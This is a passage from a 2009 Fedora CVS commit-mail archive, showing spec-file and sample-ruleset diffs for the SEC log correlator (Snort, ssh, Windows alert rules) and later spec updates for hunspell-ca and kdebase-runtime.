-    install -D -p -m 755 sec.pl     $RPM_BUILD_ROOT%{_bindir}/sec
-    install -D -p -m 644 sec.pl.man $RPM_BUILD_ROOT%{_mandir}/man1/sec.1
-    install -p -m 644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/sec
-    install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/sec
-    install -p -m 755 %{SOURCE2} $RPM_BUILD_ROOT%{_initrddir}/sec
+install -D -m 0755 -p sec.pl     %{buildroot}%{_bindir}/sec
+install -D -m 0644 -p sec.pl.man %{buildroot}%{_mandir}/man1/sec.1
+install -D -m 0644 -p %{SOURCE1} %{buildroot}%{_sysconfdir}/sysconfig/sec
+install -D -m 0644 -p %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/sec
+install -D -m 0755 -p %{SOURCE2} %{buildroot}%{_initrddir}/sec
 
 # Install the example config files and readme
-    install -p -m 644 %{SOURCE100} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/README
-    install -p -m 644 %{SOURCE101} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/syslog-ng.sec
-    install -p -m 644 %{SOURCE102}  \
-                      %{SOURCE103}  \
-                      %{SOURCE104}  \
-                      %{SOURCE105}  \
-                      %{SOURCE106}  \
-                      %{SOURCE107}  \
-                      %{SOURCE108}  \
-                      %{SOURCE109}  \
-                      %{SOURCE110}  \
-                      %{SOURCE111}  \
-                      %{SOURCE112}  \
-                      %{SOURCE113}  \
-                      %{SOURCE114}  \
-                      %{SOURCE115}  \
-                      %{SOURCE116}  \
-                      %{SOURCE117}  \
-                      %{SOURCE118}  \
-                      %{SOURCE119}  \
-                      %{SOURCE120}  \
-                      %{SOURCE121}  \
-                      %{SOURCE122}  \
-                      %{SOURCE123}  \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/
-
-# Replace all "email.com" in sample scripts with an actual fake domain: example.com
-    grep -rl 'email.com' $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/ \
-         | xargs sed -i -e 's/email.com/example.com/g'
-
-# Create ghost files so rpm doesn't complain about them being gone
-    touch $RPM_BUILD_ROOT%{_localstatedir}/log/sec
-    touch $RPM_BUILD_ROOT%{_localstatedir}/run/sec.pid
+install -D -m 0644 -p %{SOURCE4} %{buildroot}%{_sysconfdir}/%{name}/README
+install -d -m 0755  examples
+install -m 0644 -p %{SOURCE5} %{SOURCE6} %{SOURCE7} %{SOURCE8} \
+                   %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
+                   %{SOURCE13} %{SOURCE14} %{SOURCE15} %{SOURCE16} \
+                   %{SOURCE17} %{SOURCE18} %{SOURCE19} %{SOURCE20} \
+                   %{SOURCE21} %{SOURCE22} %{SOURCE23} %{SOURCE24} \
+                   %{SOURCE25} examples/
 
-################################################################################
+# Remove executable bits because these files get packed as docs
+chmod 0644 contrib/convert.pl contrib/swatch2sec.pl
 
 %post
-
-if [ $1 = 1 ]; then
-	/sbin/chkconfig --add sec
+if [ $1 -eq 1 ]; then
+        /sbin/chkconfig --add sec
 fi
 
 %preun
-
-if [ $1 = 0 ]; then
-	/sbin/service sec stop > /dev/null 2>&1 || :
-	/sbin/chkconfig --del sec
+if [ $1 -eq 0 ]; then
+        /sbin/service sec stop >/dev/null 2>&1
+        /sbin/chkconfig --del sec
 fi
 
 %postun
-
-if [ $1 = 1 ]; then
-    /sbin/service sec condrestart
+if [ $1 -eq 1 ]; then
+        /sbin/service sec condrestart >/dev/null 2>&1
 fi
 
 %clean
-
-rm -rf $RPM_BUILD_ROOT
-
-################################################################################
+rm -rf %{buildroot}
 
 %files
-
 %defattr(-,root,root,-)
-%doc ChangeLog COPYING README
+%doc ChangeLog COPYING README contrib/convert.pl contrib/itostream.c contrib/swatch2sec.pl examples
+%config(noreplace) %{_sysconfdir}/%{name}
 %config(noreplace) %{_sysconfdir}/sysconfig/sec
-%config(noreplace) %verify (not md5 size mtime) %{_sysconfdir}/logrotate.d/sec
-%{_sysconfdir}/%{name}
-%{_bindir}/sec
+%config(noreplace) %{_sysconfdir}/logrotate.d/sec
 %{_initrddir}/sec
-%{_mandir}/man1/*
-%ghost %verify (not md5 size mtime) %{_localstatedir}/log/sec
-%ghost %verify (not md5 size mtime) %{_localstatedir}/run/sec.pid
-
-################################################################################
+%{_bindir}/sec
+%{_mandir}/man1/sec.1*
 
 %changelog
+* Tue Sep 29 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-1
+- New upstream release
+- SPEC file cleanup
+- Init script cleanup
+- Removed some examples because of licensing issues. Upstream has clarified
+  and changed most of the license tags to GPLv2. Additionally, upstream
+  will include the examples in the next release.
+- Removed a provide statement since a period was in the name and no other
+  package required that special name.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Thu Sep  4 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 2.4.1-2
+- fix license tag
 
 * Mon May 28 2007 Chris Petersen <rpm at forevermore.net>                  2.4.1-1
 - Update to 2.4.1


Index: snort.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/snort.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snort.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snort.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                Sample SEC ruleset for Snort IDS
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # ------------------------------------------------------------------
@@ -52,7 +57,8 @@ pattern=PRIORITY 1 INCIDENT FROM (\S+) T
 context=ATTACK_FROM_$1
 continue=TakeNext
 desc=Priority 1 attack started from $1
-action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' 
+action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' \
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1' alerts at example.com
 
 
 # For every priority 1 incident, add an entry to the context by its IP;
@@ -66,7 +72,7 @@ continue=TakeNext
 desc=Priority 1 incident from $1 to $2: $3
 action=add ATTACK_FROM_$1 %t: %s; \ 
        set ATTACK_FROM_$1 300 ( report ATTACK_FROM_$1 \
-       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at email.com )
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at example.com )
 
 
 # ------------------------------------------------------------------
@@ -116,7 +122,7 @@ continue=TakeNext
 desc=Create activity contexts for $1
 action=create ACTIVITY_LIST_FOR_$1_LIFETIME; \
        create ACTIVITY_LIST_FOR_$1 7200 ( report ACTIVITY_LIST_FOR_$1 \
-       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at example.com; \
        delete ACTIVITY_LIST_FOR_$1_LIFETIME )
 
 
@@ -142,7 +148,7 @@ type=Calendar
 time=0 12 * * *
 desc=Sending alert report...
 action=report ALERT_REPORT \
-       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at example.com; \
        delete ALERT_REPORT
 
 
@@ -152,6 +158,6 @@ type=Calendar
 time=0 9 * * *
 desc=Sending portscan report...
 action=report PORTSCAN_REPORT \
-       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at example.com; \
        delete PORTSCAN_REPORT
 


Index: snortsam.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/snortsam.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snortsam.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snortsam.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,10 +1,17 @@
-
+#############################################################################
+# Snort SAM events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Error: Could not bind socket.
 desc = $0
-action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at example.com
 
 
 type=single
@@ -24,7 +31,7 @@ action=add SNORTSAM_REPORT $1 Extending 
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+)snortsam\[([0-9]+)\]: [*], [:0-9]+, -, ipf, (.*) Failed
 #desc = Snortsam ipf error
-#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at yourdomain.com
+#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at example.com
 ##action=add SNORTSAM_REPORT ERROR $1 IPF Command Failure: $2
 
 
@@ -52,13 +59,13 @@ type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) ipf, Error: Command (.*) Failed
 desc = $0
-action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at example.com
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Snortsam Station .* using wrong password, trying to resync.
 desc = $0
-action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at example.com
 
 #Send hourly snortsam report
 
@@ -66,5 +73,5 @@ type=Calendar
 time=0 * * * *
 desc=Sending snortsam report...
 action=report SNORTSAM_REPORT \
-       /usr/bin/mail -s 'SNORTSAM report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'SNORTSAM report' alerts at example.com; \
        delete SNORTSAM_REPORT


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	28 May 2007 20:32:33 -0000	1.4
+++ sources	8 Oct 2009 16:44:34 -0000	1.5
@@ -1 +1 @@
-f233b3acf7cebdb573f4ff1f441866c3  sec-2.4.1.tar.gz
+0e5e3c2e4e3ef6c21fc32a809c6263bb  sec-2.5.2.tar.gz


Index: ssh-brute.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/ssh-brute.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh-brute.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh-brute.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,4 +1,10 @@
 ################## ssh brute force attack blocker
+# Copyright (C) 2003-2009 Mark Bergman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+##################
+#
 # This sec ruleset monitors syslog messages for indications that an ssh brute-force
 # login attack is underway. The trigger is an ssh login failure.
 #
@@ -15,10 +21,6 @@
 # 2 hours.
 #
 # Vulnerabilities of this ruleset are:
-#	DoS attack: if the attacker is aware of this ruleset, they could
-#		spoof a series of victim IP addresses (for example, the 
-#		AOL proxy address), thus causing the server running sec
-#		to deny service to the victim.
 #
 #	persistent firewall rules:
 #		if the sec daemon crashes or is restarted, any existing rules


Index: ssh.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/ssh.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,6 +1,13 @@
-# a ruleset to accumulate errors from a parent and child sshd process
+###########################################################################
+# SEC ruleset to accumulate errors from a parent and child sshd process
 # into a single context. This allows reporting of the authenticated
 # user information with the error's generated by the child sshd process.
+#
+# Copyright (C) 2003-2009 John P. Rouillard
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+###########################################################################
 
 # note handling of deferred reporting until after tie events received
 # is still in flux. My old rules hanlded it by resubmitting all the
@@ -38,7 +45,7 @@ action=create EVENT_PROCESSED
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)\]: \[[^]]+\] Connection from ([0-9.]+) port [0-9]+
 #action=pipe session_log_$1_$2 \
-#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at email.com
+#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at example.com
 #desc2=Link parent and child contexts
 #ptype2=regexp
 #pattern2=$1 [A-z0-9]+\[[0-9]+\]: \[[^]]+\] SSHD child process +([0-9]+) spawned by $2
@@ -86,7 +93,7 @@ desc=Report immediate on request.
 ptype=regexp
 pattern=^sshd: Report (.*) if needed$
 context = session_log_report_$1
-action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at email.com ;\
+action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at example.com ;\
         delete session_log_report_$1
 
 type=suppress
@@ -144,7 +151,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = $3 < 1025 && tie_event_received_$1_$2
 action = add session_log_$1_$2 $0 ; \
          report session_log_report_$1_$2 \
-             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at email.com
+             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at example.com
 
 # end immediate rules here
 
@@ -178,7 +185,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_port_forward_errors_$1_$2
 desc = send report on ssh forward errors if pass threshold (bind)
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com; \
          delete ssh_port_forward_errors_$1_$2
 thresh=5
 window=600
@@ -211,7 +218,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_channel_setup_errors_$1_$2
 desc = send report on ssh channel setup errors
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com ; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com ; \
          delete ssh_channel_setup_errors_$1_$2
 thresh=5
 window=600
@@ -234,7 +241,7 @@ pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)
 desc = create context to report ssh errors for host $1 pid $2 in 5 minutes
 context = ! session_log_5min_timer_$1_$2
 action = create session_log_5min_timer_$1_$2 300 report session_log_$1_$2 \
-              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at email.com
+              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at example.com
 
 type=single
 continue = dontcont


Index: vtund.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/vtund.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vtund.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ vtund.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,4 +1,11 @@
-#VTUN Events
+#############################################################################
+# VTUN events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -58,14 +65,3 @@ pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+vtund\
 desc=$0
 action=add GENERAL_REPORT %t: VTUN Session $2 Closed on $1
 
-
-
-#Send 12 hours vtun report
-
-type=Calendar
-time=0 0,12 * * *
-desc=Sending vtun report...
-action=report VTUN_REPORT \
-       /usr/bin/mail -s 'VTUN: VTUN Report' alerts at yourdomain.com; \
-       delete VTUN_REPORT0
-


Index: windows.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/windows.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- windows.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ windows.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,4 +1,11 @@
-#Windows events
+#############################################################################
+# Windows events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -17,21 +24,21 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Locked Out: Target Account Name: (\S+) .*
 desc=$0
-action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at yourdomain.com
+action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Changed: (/S+)\. .*
 desc=$0
-action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at yourdomain.com
+action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+NetBT: N\/A: A duplicate name has been detected on the TCP network\. .*
 desc=$0
-action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at yourdomain.com
+action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at example.com
 
 
 


--- 001_init.sec DELETED ---


--- clamav.sec DELETED ---


--- dbi-example.sec DELETED ---


--- general.sec DELETED ---


--- mpd.sec DELETED ---


--- syslog-ng.txt DELETED ---



From caolanm at fedoraproject.org  Thu Oct  8 16:47:42 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu,  8 Oct 2009 16:47:42 +0000 (UTC)
Subject: rpms/hunspell-ca/devel .cvsignore, 1.14, 1.15 hunspell-ca.spec, 1.18,
	1.19 sources, 1.14, 1.15
Message-ID: <20091008164742.82D9411C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-ca/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8953

Modified Files:
	.cvsignore hunspell-ca.spec sources 
Log Message:
latest version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-ca/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	1 Jul 2009 09:14:07 -0000	1.14
+++ .cvsignore	8 Oct 2009 16:47:41 -0000	1.15
@@ -1 +1 @@
-hunspell-ca-20090630.tar.bz2
+catalan.oxt


Index: hunspell-ca.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-ca/devel/hunspell-ca.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- hunspell-ca.spec	25 Jul 2009 02:22:19 -0000	1.18
+++ hunspell-ca.spec	8 Oct 2009 16:47:41 -0000	1.19
@@ -1,10 +1,8 @@
 Name: hunspell-ca
 Summary: Catalan hunspell dictionaries
-%define upstreamid 20090630
-Version: 0.%{upstreamid}
-Release: 2%{?dist}
-#svn checkout svn://softcatala.org/corrector/trunk/resultats/hunspell
-Source: hunspell-ca-%{upstreamid}.tar.bz2
+Version: 2.1.5
+Release: 1%{?dist}
+Source: http://www.softcatala.org/diccionaris/actualitzacions/OOo/catalan.oxt
 Group: Applications/Text
 URL: http://www.softcatala.org/wiki/Projectes/Corrector_ortogr?fic
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -17,11 +15,13 @@ Requires: hunspell
 Catalan hunspell dictionaries.
 
 %prep
-%setup -q -n hunspell
+%setup -q -c
 
 %build
-tr -d '\r' < catalan.aff > ca_ES.aff
-tr -d '\r' < catalan.dic > ca_ES.dic
+tr -d '\r' < dictionaries/catalan.aff > ca_ES.aff
+touch -r dictionaries/catalan.aff ca_ES.aff
+tr -d '\r' < dictionaries/catalan.dic > ca_ES.dic
+touch -r dictionaries/catalan.dic ca_ES.dic
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -40,9 +40,13 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root)
+%doc LICENSES-en.txt LLICENCIES-ca.txt       
 %{_datadir}/myspell/*
 
 %changelog
+* Thu Oct 08 2009 Caolan McNamara <caolanm at redhat.com> - 2.1.5-1
+- latest version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.20090630-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-ca/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	1 Jul 2009 09:14:07 -0000	1.14
+++ sources	8 Oct 2009 16:47:41 -0000	1.15
@@ -1 +1 @@
-9a86d29a86d785c9476f7af76bf64412  hunspell-ca-20090630.tar.bz2
+31bdc994eaea1d586a2e48189daa2ecf  catalan.oxt



From rdieter at fedoraproject.org  Thu Oct  8 16:57:25 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 16:57:25 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-12 kdebase-runtime.spec,1.142,1.143
Message-ID: <20091008165725.BA15D11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10667

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
- BR: bzip2-devel xz-devel
- -libs: move Requires: kdepimlibs... here



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-12/kdebase-runtime.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- kdebase-runtime.spec	6 Oct 2009 13:01:10 -0000	1.142
+++ kdebase-runtime.spec	8 Oct 2009 16:57:24 -0000	1.143
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       1%{?dist}
+Release:       2%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -34,7 +34,6 @@ Provides:  kdebase4-runtime = %{version}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
-Requires: kdepimlibs%{?_isa} >= %{version}
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -44,6 +43,7 @@ Requires: htdig
 
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
+BuildRequires: bzip2-devel
 BuildRequires: clucene-core-devel
 BuildRequires: hal-devel
 BuildRequires: kdelibs4-devel >= %{version}
@@ -63,6 +63,7 @@ BuildRequires: xine-lib-devel libxcb-dev
 %endif
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
+BuildRequires: xz-devel
 BuildRequires: zlib-devel
 
 %description
@@ -73,6 +74,7 @@ Core runtime for the K Desktop Environme
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: kdelibs4%{?_isa} >= %{version}
+Requires: kdepimlibs%{?_isa} >= %{version}
 Requires: %{name} = %{version}-%{release}
 %description libs
 %{summary}.
@@ -212,6 +214,10 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
+- BR: bzip2-devel xz-devel
+- -libs: move Requires: kdepimlibs... here
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Thu Oct  8 16:57:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 16:57:57 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-11 kdebase-runtime.spec,1.121,1.122
Message-ID: <20091008165757.115AB11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10864

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
- BR: bzip2-devel xz-devel
- -libs: move Requires: kdepimlibs... here



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-11/kdebase-runtime.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- kdebase-runtime.spec	6 Oct 2009 13:01:10 -0000	1.121
+++ kdebase-runtime.spec	8 Oct 2009 16:57:56 -0000	1.122
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       1%{?dist}
+Release:       2%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -34,7 +34,6 @@ Provides:  kdebase4-runtime = %{version}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
-Requires: kdepimlibs%{?_isa} >= %{version}
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -44,6 +43,7 @@ Requires: htdig
 
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
+BuildRequires: bzip2-devel
 BuildRequires: clucene-core-devel
 BuildRequires: hal-devel
 BuildRequires: kdelibs4-devel >= %{version}
@@ -63,6 +63,7 @@ BuildRequires: xine-lib-devel libxcb-dev
 %endif
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
+BuildRequires: xz-devel
 BuildRequires: zlib-devel
 
 %description
@@ -73,6 +74,7 @@ Core runtime for the K Desktop Environme
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: kdelibs4%{?_isa} >= %{version}
+Requires: kdepimlibs%{?_isa} >= %{version}
 Requires: %{name} = %{version}-%{release}
 %description libs
 %{summary}.
@@ -212,6 +214,10 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
+- BR: bzip2-devel xz-devel
+- -libs: move Requires: kdepimlibs... here
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Thu Oct  8 16:59:17 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 16:59:17 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-10 kdebase-runtime.spec,1.98,1.99
Message-ID: <20091008165917.E4E0811C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11151

Modified Files:
	kdebase-runtime.spec 
Log Message:
* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
- BR: bzip2-devel xz-devel
- -libs: move Requires: kdepimlibs... here



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-10/kdebase-runtime.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- kdebase-runtime.spec	6 Oct 2009 13:01:09 -0000	1.98
+++ kdebase-runtime.spec	8 Oct 2009 16:59:17 -0000	1.99
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       1%{?dist}
+Release:       2%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -34,7 +34,6 @@ Provides:  kdebase4-runtime = %{version}
 Obsoletes: kdebase4-runtime < %{version}-%{release}
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
-Requires: kdepimlibs%{?_isa} >= %{version}
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -44,6 +43,7 @@ Requires: htdig
 
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
+BuildRequires: bzip2-devel
